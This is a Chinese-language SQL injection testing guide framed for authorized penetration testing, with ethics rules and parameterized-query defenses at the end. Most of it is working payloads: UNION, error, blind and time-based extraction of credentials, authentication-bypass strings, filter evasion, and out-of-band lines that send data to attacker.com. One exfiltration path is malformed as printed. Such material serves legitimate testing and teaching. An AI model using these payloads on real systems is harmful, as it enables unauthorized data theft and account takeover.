SQL 注入测试

面向 Web 应用程序的全面 SQL 注入漏洞评估技术，涵盖检测、利用与防御有效性验证。

说明

适用场景：

• 测试 SQL 注入漏洞
• 执行已获授权的渗透测试
• 验证输入净化机制的有效性
• 为安全测试绕过身份认证
• 提取数据库信息（仅限已获授权）
• 学习 SQL 注入防御方法

禁止使用场景：

• 未获得书面授权即开展测试
• 在承载真实用户数据的生产系统上进行测试
• 测试意图具有恶意性质（切勿作恶）

⚠️ 法律要求：使用前必须取得书面形式的渗透测试授权。

检测阶段

注入点识别

常见可注入参数：

URL 参数：    ?id=1, ?user=admin, ?category=books
表单字段：   username, password, search, comments
Cookie：       session_id, user_preference
HTTP 请求头：  User-Agent, Referer, X-Forwarded-For

基础漏洞测试

-- 单引号测试
'

-- 双引号测试
"

-- 注释序列
--
#
/**/

-- 分号用于查询堆叠
;

需关注现象：

• 数据库错误信息
• HTTP 500 错误
• 响应内容或长度异常变化
• 非预期的行为变更

布尔逻辑测试

-- 真值条件（应返回数据）
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- 假值条件（应无返回或报错）
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

对比真/假条件下的响应差异，以确认注入是否成功。

利用技术

基于 UNION 的数据提取

-- 步骤 1：确定列数
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- 持续递增直至出现错误

-- 步骤 2：定位可显示列
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- 步骤 3：提取数据
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

基于错误的信息提取

-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL（XPATH）
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--

基于布尔逻辑的盲注

-- 字符逐位提取
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- 条件响应判断
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

基于时间的盲注

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

带外信道（OOB）利用

-- MSSQL DNS 数据回传
1; EXEC master..xp_dirtree '\attacker-server.comshare'--

-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\',@@version,'.attacker.com\a'))--

-- Oracle HTTP 回传
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

身份认证绕过

-- 经典绕过载荷
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- 查询语句变形示例
-- 原始语句：SELECT * FROM users WHERE username='input' AND password='input'
-- 注入后（用户名输入 admin'--）：
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 密码校验被绕过！

过滤绕过技术

字符编码

-- URL 编码
%27 （单引号）
%22 （双引号）
%23 （井号）

-- 双重 URL 编码
%2527 （单引号）

-- 十六进制字符串（MySQL）
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

空白符替代方案

-- 使用注释替代空格
SELECT/**/username/**/FROM/**/users

-- 制表符（Tab）
SELECT%09username%09FROM%09users

-- 换行符
SELECT%0Ausername%0AFROM%0Ausers

关键字规避

-- 大小写混用
SeLeCt, sElEcT, SELECT

-- 内联注释插入
SEL/*bypass*/ECT
UN/*bypass*/ION

-- 重复书写（适用于仅过滤一次的场景）
SELSELECTECT → SELECT
UNUNIONION → UNION

数据库指纹识别

信息模式查询

-- MySQL/MSSQL：列出表名
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- 列出字段名
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle 等效语句
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

速查参考

检测测试流程

1. 插入 ' → 检查是否报错
2. 插入 " → 检查是否报错
3. 尝试：OR 1=1-- → 检查行为是否变化
4. 尝试：AND 1=2-- → 检查行为是否变化
5. 尝试：' WAITFOR DELAY '0:0:5'-- → 检查是否存在延迟

防护措施（代码审查要点）

❌ 存在漏洞

const query = `SELECT * FROM users WHERE id = '${userId}'`;

✅ 安全做法

// 使用参数化查询
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);

// 或使用 ORM
const user = await prisma.user.findUnique({ where: { id: userId } });

工具

• SQLMap：自动化 SQL 注入工具
• Burp Suite：HTTP 请求操控与分析工具
• OWASP ZAP：Web 应用程序安全扫描器
• Havij：SQL 注入辅助工具

故障排查

道德规范

• 未经明确书面授权，严禁执行破坏性操作（如 DROP、DELETE 等）
• 数据提取范围应严格限制于概念验证所需最小量级
• 一旦发现生产环境中的真实用户数据，须立即中止测试
• 关键漏洞须通过双方约定的正式渠道及时上报
• 完整记录所有测试活动，确保可追溯、可审计